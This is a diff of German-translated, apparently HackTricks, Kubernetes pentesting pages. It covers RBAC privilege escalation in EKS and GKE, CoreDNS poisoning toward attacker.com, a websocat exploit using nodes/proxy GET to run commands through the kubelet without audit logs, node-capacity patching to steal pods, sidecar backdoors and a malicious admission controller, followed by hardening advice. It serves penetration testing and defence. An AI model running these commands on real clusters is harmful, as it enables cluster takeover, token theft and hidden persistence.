Der Weg, dies zu umgehen, besteht einfach darin, **Anmeldeinformationen für den Node-Namen zu erstellen, unter dem der Container mit den interessanten Geheimnissen gemountet ist** (aber schau dir einfach an, wie man es im ersten Beitrag macht):
|
||||
Der Weg, dies zu umgehen, besteht einfach darin, **node credentials für den Node-Namen zu erstellen, auf dem der Container mit den interessanten secrets gemountet ist** (siehe dazu das erste Posting, wie das zu machen ist):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Prinzipien, die **`configmaps`** im kube-system-Namespace auf EKS (müssen in AWS sein) Clustern ändern können, können Cluster-Admin-Rechte erlangen, indem sie die **aws-auth** configmap überschreiben.\
|
||||
Die benötigten Verben sind **`update`** und **`patch`**, oder **`create`**, wenn die configmap nicht erstellt wurde:
|
||||
Prinzipals, die **`configmaps`** im Namespace kube-system auf EKS (müssen in AWS) Clustern ändern können, können Cluster-Admin-Rechte erlangen, indem sie die **aws-auth** configmap überschreiben.\
|
||||
Die benötigten Verben sind **`update`** und **`patch`**, oder **`create`**, falls die configmap nicht erstellt wurde:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -538,18 +540,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Sie können **`aws-auth`** für **Persistenz** verwenden, um Benutzern aus **anderen Konten** Zugriff zu gewähren.
|
||||
> Du kannst **`aws-auth`** für **persistence** nutzen, um Benutzern aus **anderen Accounts** Zugriff zu geben.
|
||||
>
|
||||
> Allerdings funktioniert `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nicht von einem anderen Konto**. Aber tatsächlich funktioniert `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`, wenn Sie die ARN des Clusters anstelle nur des Namens eingeben.\
|
||||
> Um `kubectl` zum Laufen zu bringen, stellen Sie einfach sicher, dass Sie die **kubeconfig des Opfers** **konfigurieren** und in den aws exec-Argumenten `--profile other_account_role` hinzufügen, damit kubectl das Profil des anderen Kontos verwendet, um das Token zu erhalten und AWS zu kontaktieren.
|
||||
> Allerdings funktioniert `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nicht von einem anderen Account**. Tatsächlich funktioniert `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`, wenn du die ARN des Clusters statt nur des Namens verwendest.\
|
||||
> Damit `kubectl` funktioniert, stelle sicher, dass du die **victims kubeconfig** konfigurierst und in den aws exec args `--profile other_account_role` hinzufügst, damit kubectl das Profil des anderen Accounts benutzt, um das Token zu bekommen und AWS anzusprechen.
|
||||
|
||||
### CoreDNS config map
|
||||
### CoreDNS ConfigMap
|
||||
|
||||
Wenn Sie die Berechtigungen haben, die **`coredns` configmap** im `kube-system` Namespace zu ändern, können Sie die Adressen ändern, auf die Domains aufgelöst werden, um MitM-Angriffe durchzuführen, um **sensible Informationen zu stehlen oder bösartigen Inhalt einzufügen**.
|
||||
Wenn du die Berechtigungen hast, die **`coredns` configmap** im `kube-system` Namespace zu ändern, kannst du die Adressen ändern, auf die Domains aufgelöst werden, um MitM attacks durchzuführen und dadurch sensible Informationen zu stehlen oder bösartige Inhalte einzuschleusen.
|
||||
|
||||
Die benötigten Verben sind **`update`** und **`patch`** über die **`coredns`** configmap (oder alle config maps).
|
||||
Die benötigten Verbs sind **`update`** und **`patch`** für die **`coredns`** configmap (oder alle config maps).
|
||||
|
||||
Eine reguläre **coredns-Datei** enthält etwas wie dies:
|
||||
Eine typische **coredns file** enthält etwa Folgendes:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -579,58 +581,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Ein Angreifer könnte es herunterladen, indem er `kubectl get configmap coredns -n kube-system -o yaml` ausführt, es modifizieren, indem er etwas hinzufügt wie `rewrite name victim.com attacker.com`, sodass jedes Mal, wenn `victim.com` aufgerufen wird, tatsächlich `attacker.com` die Domain ist, die aufgerufen wird. Und dann anwenden, indem er `kubectl apply -f poison_dns.yaml` ausführt.
|
||||
Ein Angreifer könnte es herunterladen, indem er `kubectl get configmap coredns -n kube-system -o yaml` ausführt, es modifiziert (zum Beispiel `rewrite name victim.com attacker.com` hinzufügt), sodass bei Zugriff auf `victim.com` tatsächlich `attacker.com` angesprochen wird. Anschließend kann er es mit `kubectl apply -f poison_dns.yaml` anwenden.
|
||||
|
||||
Eine andere Option ist, die Datei einfach zu bearbeiten, indem er `kubectl edit configmap coredns -n kube-system` ausführt und Änderungen vornimmt.
|
||||
Eine andere Möglichkeit ist, die Datei direkt zu bearbeiten mit `kubectl edit configmap coredns -n kube-system` und die Änderungen vorzunehmen.
|
||||
|
||||
### Eskalation in GKE
|
||||
|
||||
Es gibt **2 Möglichkeiten, K8s-Berechtigungen GCP-Prinzipien zuzuweisen**. In jedem Fall benötigt das Prinzip auch die Berechtigung **`container.clusters.get`**, um Anmeldeinformationen zum Zugriff auf den Cluster zu sammeln, oder Sie müssen **Ihre eigene kubectl-Konfigurationsdatei generieren** (folgen Sie dem nächsten Link).
|
||||
Es gibt **2 Wege, K8s-Berechtigungen an GCP-Principals zu vergeben**. In jedem Fall benötigt der Principal zusätzlich die Permission **`container.clusters.get`**, um Credentials zum Zugriff auf den Cluster zu sammeln, oder du musst **deine eigene kubectl config-Datei erzeugen** (folg dem nächsten Link).
|
||||
|
||||
> [!WARNING]
|
||||
> Wenn Sie mit dem K8s-API-Endpunkt sprechen, wird das **GCP-Auth-Token gesendet**. Dann wird GCP über den K8s-API-Endpunkt zuerst **überprüfen, ob das Prinzip** (per E-Mail) **Zugriff innerhalb des Clusters hat**, dann wird überprüft, ob es **irgendwelchen Zugriff über GCP IAM** hat.\
|
||||
> Wenn **irgendeines** davon **wahr** ist, wird er **antworten**. Wenn **nicht**, wird ein **Fehler** angezeigt, der vorschlägt, **Berechtigungen über GCP IAM** zu erteilen.
|
||||
> Beim Sprechen mit dem K8s api endpoint wird das **GCP auth token gesendet**. GCP wird dann, über das K8s api endpoint, zuerst **prüfen, ob der Principal** (per Email) **irgendwelchen Zugriff innerhalb des Clusters hat**, und anschließend prüfen, ob er **irgendwelchen Zugriff via GCP IAM** hat.\
|
||||
> Wenn **eines** davon **wahr** ist, wird geantwortet. Falls **nicht**, wird ein **Error** zurückgegeben, der vorschlägt, **Berechtigungen via GCP IAM** zu vergeben.
|
||||
|
||||
Dann ist die erste Methode die Verwendung von **GCP IAM**, die K8s-Berechtigungen haben ihre **entsprechenden GCP IAM-Berechtigungen**, und wenn das Prinzip diese hat, kann es sie verwenden.
|
||||
Die erste Methode nutzt **GCP IAM**: die K8s-Berechtigungen haben ihre **entsprechenden GCP IAM-Permissions**, und wenn der Principal diese hat, kann er sie verwenden.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Die zweite Methode besteht darin, **K8s-Berechtigungen innerhalb des Clusters** zuzuweisen, indem der Benutzer über seine **E-Mail** identifiziert wird (GCP-Dienstkonten eingeschlossen).
|
||||
Die zweite Methode ist, **K8s-Berechtigungen innerhalb des Clusters zuzuweisen**, wobei der User durch seine **Email** identifiziert wird (inkl. GCP service accounts).
|
||||
|
||||
### Erstellen von Serviceaccounts-Token
|
||||
### Serviceaccount-Token erstellen
|
||||
|
||||
Prinzipien, die **TokenRequests** (`serviceaccounts/token`) erstellen können, wenn sie mit dem K8s-API-Endpunkt sprechen (Informationen von [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Principals, die **TokenRequests erstellen** können (`serviceaccounts/token`) wenn sie mit dem K8s api endpoint sprechen — SAs (Info von [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Prinzipien, die **`update`** oder **`patch`** **`pods/ephemeralcontainers`** können **Codeausführung auf anderen Pods** erlangen und potenziell **ausbrechen** zu ihrem Knoten, indem sie einen ephemeral container mit einem privilegierten securityContext hinzufügen.
|
||||
Principals, die **`update`** oder **`patch`** auf **`pods/ephemeralcontainers`** ausführen können, können **Code-Ausführung auf anderen Pods** erreichen und potenziell durch Hinzufügen eines ephemeral containers mit einem privilegierten securityContext auf den Node **ausbrechen**.
|
||||
|
||||
### ValidatingWebhookConfigurations oder MutatingWebhookConfigurations
|
||||
|
||||
Prinzipien mit einem der Verben `create`, `update` oder `patch` über `validatingwebhookconfigurations` oder `mutatingwebhookconfigurations` könnten in der Lage sein, **eine solche webhookconfiguration zu erstellen**, um **Berechtigungen zu eskalieren**.
|
||||
Principals mit einem der Verben `create`, `update` oder `patch` auf `validatingwebhookconfigurations` oder `mutatingwebhookconfigurations` können möglicherweise eine solche webhookconfiguration **erstellen**, um **Privilegien zu eskalieren**.
|
||||
|
||||
Für ein [`mutatingwebhookconfigurations` Beispiel, überprüfen Sie diesen Abschnitt dieses Beitrags](#malicious-admission-controller).
|
||||
Für ein [`mutatingwebhookconfigurations` Beispiel siehe diesen Abschnitt dieses Posts](#malicious-admission-controller).
|
||||
|
||||
### Eskalieren
|
||||
|
||||
Wie Sie im nächsten Abschnitt lesen können: [**Integrierte Prävention der privilegierten Eskalation**](#built-in-privileged-escalation-prevention), kann ein Prinzip weder Rollen noch Clusterrollen aktualisieren oder erstellen, ohne selbst diese neuen Berechtigungen zu haben. Es sei denn, es hat das **Verb `escalate` oder `*`** über **`roles`** oder **`clusterroles`** und die entsprechenden Bindungsoptionen.\
|
||||
Dann kann er neue Rollen, Clusterrollen mit besseren Berechtigungen als die, die er hat, aktualisieren/erstellen.
|
||||
Wie du im nächsten Abschnitt lesen kannst: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), kann ein Principal weder `roles` noch `clusterroles` updaten oder erstellen, ohne selbst bereits diese neuen Permissions zu besitzen. Ausgenommen, er hat das **Verb `escalate` oder `*`** auf **`roles`** oder **`clusterroles`** und die jeweiligen Binding-Optionen.\
|
||||
Dann kann er neue roles/clusterroles mit umfangreicheren Rechten erstellen/aktualisieren als diejenigen, die er selbst hat.
|
||||
|
||||
### Nodes-Proxy
|
||||
### Nodes proxy
|
||||
|
||||
Prinzipien mit Zugriff auf die **`nodes/proxy`** Unterressource können **Code auf Pods ausführen** über die Kubelet-API (laut [**diesem**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Weitere Informationen zur Kubelet-Authentifizierung finden Sie auf dieser Seite:
|
||||
Principals mit Zugriff auf die **`nodes/proxy`** Subresource können über die Kubelet API **Code auf Pods ausführen** (laut [**diesem**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mehr Informationen zur Kubelet-Authentifizierung auf dieser Seite:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Sie haben ein Beispiel, wie Sie [**RCE erhalten, indem Sie autorisiert mit einer Kubelet-API sprechen**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket: Verb-Verwirrung
|
||||
|
||||
### Pods löschen + nicht planbare Knoten
|
||||
- Kubelet mappt HTTP-Methoden auf RBAC-Verben **vor** dem Protocol Upgrade. WebSocket-Handshakes müssen mit **HTTP GET** (`Connection: Upgrade`) beginnen, daher wird `/exec` über WebSocket als **Verb `get`** geprüft statt als erwartetes `create`.
|
||||
- `/exec`, `/run`, `/attach` und `/portforward` sind nicht explizit gemappt und fallen in die Default-**`proxy`**-Subresource, sodass die Autorisierungsfrage zu **`can <user> get nodes/proxy?`** wird.
|
||||
- Wenn ein Token nur **`nodes/proxy` + `get`** hat, erlaubt der direkte WebSocket-Zugriff auf den kubelet unter `https://<node_ip>:10250` beliebige Befehlsausführung in jedem Pod auf diesem Node. Dieselbe Anfrage über den API-Server-Proxy-Pfad (`/api/v1/nodes/<node>/proxy/exec/...`) wird abgelehnt, weil es ein normaler HTTP POST ist und zu `create` mapped.
|
||||
- Der kubelet führt nach dem WebSocket-Upgrade keine zweite Autorisierung durch; nur das initiale GET wird bewertet.
|
||||
|
||||
Prinzipien, die **Pods löschen** können (`delete` Verb über `pods` Ressource), oder **Pods evakuieren** (`create` Verb über `pods/eviction` Ressource), oder **Pod-Status ändern** (Zugriff auf `pods/status`) und andere Knoten **nicht planbar machen** (Zugriff auf `nodes/status`) oder **Knoten löschen** (`delete` Verb über `nodes` Ressource) und Kontrolle über einen Pod haben, könnten **Pods von anderen Knoten stehlen**, sodass sie in dem **kompromittierten** **Knoten** **ausgeführt** werden und der Angreifer die **Tokens** von diesen Pods **stehlen** kann.
|
||||
**Direkter Exploit (erfordert Netzwerkzugriff auf den kubelet und ein Token mit `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Verwende die **Node IP**, nicht den node name. Die gleiche Anfrage mit `curl -X POST` wird **Forbidden** sein, weil sie auf `create` abgebildet wird.
|
||||
- Direkter kubelet-Zugriff umgeht den API-Server, daher zeigt AuditPolicy nur `subjectaccessreviews` vom kubelet user agent und **loggt `pods/exec`-Befehle nicht**.
|
||||
- Liste betroffene service accounts mit dem [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) auf, um tokens zu finden, die auf `nodes/proxy` GET beschränkt sind.
|
||||
|
||||
### Pods löschen + unschedulable Nodes
|
||||
|
||||
Prinzipale, die Berechtigungen wie **delete pods** (`delete` verb over `pods` resource), **evict pods** (`create` verb over `pods/eviction` resource) oder **change pod status** (access to `pods/status`) besitzen, und die außerdem **make other nodes unschedulable** (access to `nodes/status`) können oder **delete nodes** (`delete` verb over `nodes` resource`) sowie Kontrolle über einen Pod haben, könnten **steal pods from other nodes**, sodass diese im **compromised** **node** **executed** werden und der Angreifer die **steal the tokens** aus diesen Pods erlangen kann.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -643,41 +662,41 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Principals, die **`services/status`** **modifizieren** können, dürfen das Feld `status.loadBalancer.ingress.ip` setzen, um die **nicht behobene CVE-2020-8554** auszunutzen und **MiTM-Angriffe gegen den Cluster** zu starten. Die meisten Minderungstechniken für CVE-2020-8554 verhindern nur ExternalIP-Dienste (laut [**diesem**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Prinzipale, die **`services/status`** **ändern** können, können das Feld `status.loadBalancer.ingress.ip` setzen, um die **unbehebbare CVE-2020-8554** auszunutzen und **MiTM-Angriffe gegen den Cluster** zu starten. Die meisten Gegenmaßnahmen für CVE-2020-8554 verhindern laut [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) nur ExternalIP services.
|
||||
|
||||
### Nodes and Pods status
|
||||
|
||||
Principals mit **`update`** oder **`patch`** Berechtigungen über `nodes/status` oder `pods/status` könnten Labels modifizieren, um die durchgesetzten Planungsbeschränkungen zu beeinflussen.
|
||||
Prinzipale mit **`update`**- oder **`patch`**-Berechtigungen für `nodes/status` oder `pods/status` könnten Labels ändern, um die durchgesetzten Scheduling-Einschränkungen zu beeinflussen.
|
||||
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes hat einen [eingebauten Mechanismus](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping), um Privilegieneskalation zu verhindern.
|
||||
Kubernetes verfügt über einen [eingebauten Mechanismus](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping), um Privilegieneskalation zu verhindern.
|
||||
|
||||
Dieses System stellt sicher, dass **Benutzer ihre Berechtigungen nicht erhöhen können, indem sie Rollen oder Rollenzuweisungen modifizieren**. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet einen Schutz, selbst wenn der RBAC-Autorisierer inaktiv ist.
|
||||
Dieses System stellt sicher, dass **Benutzer ihre Privilegien nicht durch das Ändern von roles oder role bindings erhöhen können**. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet damit Schutz, selbst wenn der RBAC-Authorizer deaktiviert ist.
|
||||
|
||||
Die Regel besagt, dass ein **Benutzer eine Rolle nur erstellen oder aktualisieren kann, wenn er alle Berechtigungen besitzt, die die Rolle umfasst**. Darüber hinaus muss der Umfang der bestehenden Berechtigungen des Benutzers mit dem der Rolle übereinstimmen, die er zu erstellen oder zu modifizieren versucht: entweder clusterweit für ClusterRoles oder auf denselben Namespace (oder clusterweit) für Roles.
|
||||
Die Regel besagt, dass ein **Benutzer nur dann eine Role erstellen oder aktualisieren darf, wenn er alle Berechtigungen besitzt, die die Role umfasst**. Außerdem muss der Umfang der bestehenden Berechtigungen des Benutzers mit dem der Role übereinstimmen, die er erstellen oder ändern möchte: entweder clusterweit für ClusterRoles oder auf denselben Namespace beschränkt (oder clusterweit) für Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Berechtigungen von Rollen und ClusterRoles erhöhen, auch ohne die Berechtigungen selbst zu besitzen.
|
||||
> Es gibt eine Ausnahme zu der vorherigen Regel. Wenn ein Prinzipal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Privilegien von roles und clusterroles erhöhen, auch ohne die entsprechenden Berechtigungen selbst zu besitzen.
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Offensichtlich hat diese Technik früher funktioniert, aber laut meinen Tests funktioniert sie aus dem gleichen Grund, der im vorherigen Abschnitt erklärt wurde, nicht mehr. Du kannst kein Rolebinding erstellen/modifizieren, um dir selbst oder einem anderen SA einige Berechtigungen zu geben, wenn du sie nicht bereits hast.**
|
||||
> **Anscheinend funktionierte diese Technik früher, aber laut meinen Tests funktioniert sie nicht mehr aus dem im vorherigen Abschnitt erklärten Grund. Du kannst kein rolebinding erstellen/ändern, um dir selbst oder einem anderen SA Rechte zu geben, wenn du diese nicht bereits hast.**
|
||||
|
||||
Das Privileg, Rolebindings zu erstellen, ermöglicht es einem Benutzer, **Rollen an ein Servicekonto zu binden**. Dieses Privileg kann potenziell zu einer Privilegieneskalation führen, da es **dem Benutzer erlaubt, Administratorberechtigungen an ein kompromittiertes Servicekonto zu binden.**
|
||||
Das Recht, RoleBindings zu erstellen, erlaubt einem Benutzer, **Rollen an ein Service-Account zu binden**. Dieses Recht kann potenziell zu einer Privilegieneskalation führen, weil es dem Benutzer ermöglicht, einem kompromittierten Service-Account Admin-Rechte zuzuweisen.
|
||||
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
Standardmäßig gibt es keine Verschlüsselung in der Kommunikation zwischen Pods. Gegenseitige Authentifizierung, bidirektional, Pod zu Pod.
|
||||
Standardmäßig ist die Kommunikation zwischen Pods nicht verschlüsselt — keine gegenseitige Authentifizierung (two-way, pod-to-pod).
|
||||
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
Ein Sidecar-Container besteht einfach darin, einen **zweiten (oder mehr) Container innerhalb eines Pods** hinzuzufügen.
|
||||
|
||||
Zum Beispiel ist das Folgende Teil der Konfiguration eines Pods mit 2 Containern:
|
||||
For example, the following is part of the configuration of a pod with 2 containers:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -687,15 +706,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Um beispielsweise ein bestehendes Pod mit einem neuen Container zu backdooren, könnten Sie einfach einen neuen Container in der Spezifikation hinzufügen. Beachten Sie, dass Sie dem zweiten Container **mehr Berechtigungen** geben könnten, die der erste nicht hat.
|
||||
Zum Beispiel: um einem vorhandenen pod eine backdoor in Form eines neuen container hinzuzufügen, kannst du einfach einen neuen container in der Spezifikation ergänzen. Beachte, dass du dem zweiten container **mehr Berechtigungen geben** könntest, die der erste nicht hat.
|
||||
|
||||
Weitere Informationen unter: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Bösartiger Admission Controller
|
||||
|
||||
Ein Admission Controller **unterbricht Anfragen an den Kubernetes API-Server** vor der Persistenz des Objekts, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.
|
||||
Ein Admission Controller **fängt Requests an den Kubernetes API server ab**, bevor das Objekt persistent gespeichert wird, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.
|
||||
|
||||
Wenn es einem Angreifer gelingt, einen **Mutation Admission Controller** zu **injizieren**, kann er **bereits authentifizierte Anfragen** **modifizieren**. Dies könnte potenziell zu Privilegieneskalation führen und in der Regel im Cluster persistieren.
|
||||
Wenn es einem Angreifer gelingt, einen **Mutation Admission Controller** zu injizieren, kann er **bereits authentifizierte Requests modifizieren**. Das kann potentiell privesc ermöglichen und führt häufiger dazu, dass er sich dauerhaft im Cluster festsetzt.
|
||||
|
||||
**Beispiel von** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -704,30 +723,30 @@ cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
Überprüfen Sie den Status, um zu sehen, ob es bereit ist:
|
||||
Überprüfe den Status, um zu sehen, ob er bereit ist:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
Dann deployen Sie ein neues Pod:
|
||||
Dann deploye einen neuen pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Wenn Sie den `ErrImagePull`-Fehler sehen, überprüfen Sie den Bildnamen mit einer der Abfragen:
|
||||
Wenn Sie den Fehler `ErrImagePull` sehen, überprüfen Sie den Image-Namen mit einer der folgenden Abfragen:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Wie Sie im obigen Bild sehen können, haben wir versucht, das Image `nginx` auszuführen, aber das letztendlich ausgeführte Image ist `rewanthtammana/malicious-image`. Was ist gerade passiert!!?
|
||||
Wie in der obigen Abbildung zu sehen ist, haben wir versucht, das Image `nginx` auszuführen, aber das letztlich ausgeführte Image ist `rewanthtammana/malicious-image`. Was ist da gerade passiert!!?
|
||||
|
||||
#### Technische Details
|
||||
|
||||
Das Skript `./deploy.sh` richtet einen mutierenden Webhook-Zulassungscontroller ein, der Anfragen an die Kubernetes-API gemäß den in seinen Konfigurationszeilen angegebenen Vorgaben ändert und die beobachteten Ergebnisse beeinflusst:
|
||||
Das `./deploy.sh`-Skript richtet einen mutating webhook admission controller ein, der Anfragen an die Kubernetes API gemäß seinen Konfigurationszeilen verändert und so die beobachteten Ergebnisse beeinflusst:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -735,30 +754,30 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
Der obige Snippet ersetzt das erste Container-Image in jedem Pod mit `rewanthtammana/malicious-image`.
|
||||
Der obige Ausschnitt ersetzt das erste Container-Image in jedem Pod durch `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper umgehen
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Best Practices
|
||||
## Beste Vorgehensweisen
|
||||
|
||||
### **Deaktivierung der Automount-Funktion von Service Account Tokens**
|
||||
### **Automount von Service-Account-Tokens deaktivieren**
|
||||
|
||||
- **Pods und Service Accounts**: Standardmäßig montieren Pods ein Service Account Token. Um die Sicherheit zu erhöhen, erlaubt Kubernetes die Deaktivierung dieser Automount-Funktion.
|
||||
- **Anwendung**: Setzen Sie `automountServiceAccountToken: false` in der Konfiguration von Service Accounts oder Pods ab Kubernetes-Version 1.6.
|
||||
- **Pods and Service Accounts**: Standardmäßig mounten Pods ein Service-Account-Token. Zur Erhöhung der Sicherheit erlaubt Kubernetes das Deaktivieren dieses Automount-Features.
|
||||
- **Anwendung**: Setze `automountServiceAccountToken: false` in der Konfiguration von Service Accounts oder Pods ab Kubernetes Version 1.6.
|
||||
|
||||
### **Einschränkende Benutzerzuweisung in RoleBindings/ClusterRoleBindings**
|
||||
### **Eingeschränkte Benutzerzuweisung in RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Selektive Einbeziehung**: Stellen Sie sicher, dass nur notwendige Benutzer in RoleBindings oder ClusterRoleBindings einbezogen werden. Überprüfen Sie regelmäßig und entfernen Sie irrelevante Benutzer, um eine strenge Sicherheit aufrechtzuerhalten.
|
||||
- **Selektive Aufnahme**: Stelle sicher, dass nur notwendige Benutzer in RoleBindings oder ClusterRoleBindings aufgenommen werden. Führe regelmäßige Audits durch und entferne irrelevante Benutzer, um die Sicherheit zu erhalten.
|
||||
|
||||
### **Namespace-spezifische Rollen über Cluster-weite Rollen**
|
||||
### **Namespace-spezifische Rollen statt clusterweiter Rollen**
|
||||
|
||||
- **Rollen vs. ClusterRoles**: Bevorzugen Sie die Verwendung von Rollen und RoleBindings für namespace-spezifische Berechtigungen anstelle von ClusterRoles und ClusterRoleBindings, die clusterweit gelten. Dieser Ansatz bietet eine feinere Kontrolle und begrenzt den Umfang der Berechtigungen.
|
||||
- **Roles vs. ClusterRoles**: Verwende vorzugsweise Roles und RoleBindings für namespace-spezifische Berechtigungen statt ClusterRoles und ClusterRoleBindings, die clusterweit gelten. Dieser Ansatz bietet feinere Kontrolle und begrenzt den Umfang der Berechtigungen.
|
||||
|
||||
### **Verwendung automatisierter Tools**
|
||||
### **Automatisierte Tools verwenden**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/cyberark/KubiScan
|
||||
@@ -779,5 +798,8 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+43
-39
@@ -1,25 +1,25 @@
|
||||
# Kubelet-Authentifizierung & Autorisierung
|
||||
# Kubelet-Authentifizierung & -Autorisierung
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kubelet-Authentifizierung <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**Aus den Dokumenten:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**Aus der Dokumentation:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Standardmäßig werden Anfragen an den HTTPS-Endpunkt des Kubelets, die von anderen konfigurierten Authentifizierungsmethoden nicht abgelehnt werden, als anonyme Anfragen behandelt und erhalten einen **Benutzernamen von `system:anonymous`** und eine **Gruppe von `system:unauthenticated`**.
|
||||
Standardmäßig werden Anfragen an den HTTPS-Endpunkt des kubelet, die nicht von anderen konfigurierten Authentifizierungsmethoden zurückgewiesen werden, als anonyme Anfragen behandelt und erhalten einen **Benutzernamen von `system:anonymous`** und eine **Gruppe von `system:unauthenticated`**.
|
||||
|
||||
Die **3** Authentifizierung **Methoden** sind:
|
||||
Die **3** Authentifizierungsmethoden sind:
|
||||
|
||||
- **Anonym** (Standard): Verwenden Sie die Einstellung des Parameters **`--anonymous-auth=true` oder die Konfiguration:**
|
||||
- **Anonymous** (Standard): Setzen Sie den Parameter **`--anonymous-auth=true`** oder konfigurieren Sie dies in der Konfiguration:
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
